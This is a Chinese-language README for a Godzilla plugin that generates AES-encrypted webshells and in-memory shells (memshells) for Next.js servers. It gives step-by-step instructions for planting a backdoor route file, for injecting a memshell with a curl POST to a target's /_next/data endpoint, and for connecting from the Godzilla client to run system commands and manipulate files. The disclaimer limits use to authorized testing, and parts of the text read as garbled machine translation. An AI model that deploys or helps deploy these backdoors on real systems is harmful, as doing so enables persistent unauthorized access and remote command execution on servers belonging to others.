项目简介
本项目是一个基于 Java + Maven 构建的 Godzilla 插件,专门为 Next.js 框架提供有效负载和加密器支持。生成的 JAR 文件可直接作为插件加载到 Godzilla 客户端中使用。- 本项目用于安全研究、授权测试和教育用途。使用前请确保已获得目标系统的明确授权,任何未授权的使用均属违法行为。
兼容性说明:本插件不兼容普通版哥斯拉,仅适用于特定版本的Godzilla客户端(4.01或更高版本)。
功能特性
有效载荷
- nextjs-gzl : Next.js 动态负载,支持完整的文件操作和命令执行功能
加密器
JS_AES_WEBSHELL
- 类型: 文件型 Webshell
- 加密算法:AES-128-CBC
- 配置方式:Next.js API 路由
- 文件格式:支持.js和.ts多种格式
- 路由识别:基于Accept: gzippHeader的路由路由
JS_AES_MEMSHELL
- 类型:内存马(Memory Shell)
- 加密算法:AES-128-ECB
- 注入方式:通过 Next.js Server Actions 原型复制注入
- 特点:在磁盘上留下文件痕迹
- 自动生成:自动生成内存马注入JSON文件
核心优势
支持文件型 Webshell 和内存马两种模式
基于 Header 的路由路由(Accept: gzipp)
AES加密通信,数据保障传输安全
自动生成内存马注入 JSON 配置
支持 TypeScript 和 JavaScript 多种文件格式
完整的文件操作和命令执行功能
环境要求
- Java : JDK 8 或更高版本
- Maven : 3.6 或更高版本
- 哥斯拉: (不兼容普通版哥斯拉)
- 操作系统: Windows / Linux / macOS
快速开始
1. 克隆项目
git clone <repository-url>cd nextjs-gzl
2. 构建插件
mvn clean package构建完成后,插件 JAR 文件将位于target/NextJsPayload-1.0-SNAPSHOT.jar
3.安装插件
- 打开哥斯拉客户端
- 进入配置→插件配置
- 点击添加插件或上传插件
- 选择构建生成的JAR文件
- 重启 Godzilla 客户端以加载插件
使用指南
生成Webshell
文件类型 Webshell (JS_AES_WEBSHELL)
- 在Godzilla中选择生成→ Webshell
- 配置参数:
- 有效载荷:nextjs-gzl
- 加密器:JS_AES_WEBSHELL
- 密码:自定义密码(用于加密通信)
- 密钥:自定义密钥(AES加密密钥)
- 文件后缀: 选择.js或.ts
- 点击生成,将生成shell.js或shell.ts文件
内存马 (JS_AES_MEMSHELL)
- 在Godzilla中选择生成→ Webshell
- 配置参数:
- 有效载荷:nextjs-gzl
- 加密器:JS_AES_MEMSHELL
- 密码: 自定义密码
- 按键: 自定义按键
- 文件后缀: 选择.js或.ts
- 点击生成,将生成:
- shell.js或shell.ts(任选,供参考)
- nextjs_memshell_[password]_[timestamp].json(内存马注入配置)
配置Webshell
文件类型 Webshell 部署
- 重命名文件
# 将生成的 shell.js 重命名为 route.js
mv shell.js route.js
# 或 TypeScript 版本
mv shell.ts route.ts
- 部署到 Next.js 项目
将 route.js/route.ts 放置到:
app/api/[任意路由名称]/route.js
或
app/api/[任意路由名称]/route.ts
- 重启 Next.js 服务
npm run dev
# 或生产环境
npm run build && npm start
- 在Godzilla中连接
- 网址:http://target.com/api/[路由名称]
- 密码: 生成时填写的密码
- 按键:生成时填写的按键
- 加密器:JS_AES_WEBSHELL
内存马注入
- 定位服务器动作端点
- 通常位于/_next/data/路径
- 或通过表单提交端点注入
- 发送注入请求
curl -X POST http://target.com/_next/data/[build-id]/[page].json \
-H "Content-Type: application/json" \
-d @nextjs_memshell_[password]_[timestamp].json
或使用其他HTTP客户端工具发送POST请求,Body为JSON文件内容。 - 在Godzilla中连接
- URL : http://target.com/(任何徒步旅行者)
- 密码: 生成时填写的密码
- 按键:生成时填写的按键
- 加密器:JS_AES_MEMSHELL
功能说明
生成的Payload支持以下功能:
文件操作:上传、下载、删除、移动、复制文件
目录操作: 创建、删除、浏览目录
命令执行: 执行系统命令并获取输出
基本信息:获取当前目录、系统信息等
项目结构
nextjs-gzl/├── pom.xml # Maven 配置文件
├── README.md # 项目说明文档
└── src/
└── main/
├── java/ # Java 源代码
│ └── shells/
│ ├── payloads/ # Payload 实现
│ │ └── nextjs/
│ │ └── NextJsShell.java
│ └── cryptions/ # 加密器实现
│ └── jsAes/
│ ├── Generate.java
│ ├── JsAesWebshell.java
│ └── JsAesMemShell.java
└── resources/ # 资源文件
└── shells/
├── payloads/
│ └── nextjs/
│ └── assets/
│ └── payload.js
└── cryptions/
└── jsAes/
└── template/
├── shell.js
├── shell.ts
├── shellApi.js
├── shellApi.ts
└── *.bin (编译后的模板文件)
构建说明
基本构建命令
# 清理并打包(推荐)mvn clean package
# 仅编译(不打包)
mvn compile
# 跳过测试打包
mvn clean package -DskipTests
# 查看构建产物
ls -lh target/*.jar
构建产物
构建成功后,在target/目录下会生成:- NextJsPayload-1.0-SNAPSHOT.jar- 插件 JAR 文件
开发调试
# 安装到本地 Maven 仓库mvn clean install
# 查看依赖树
mvn dependency:tree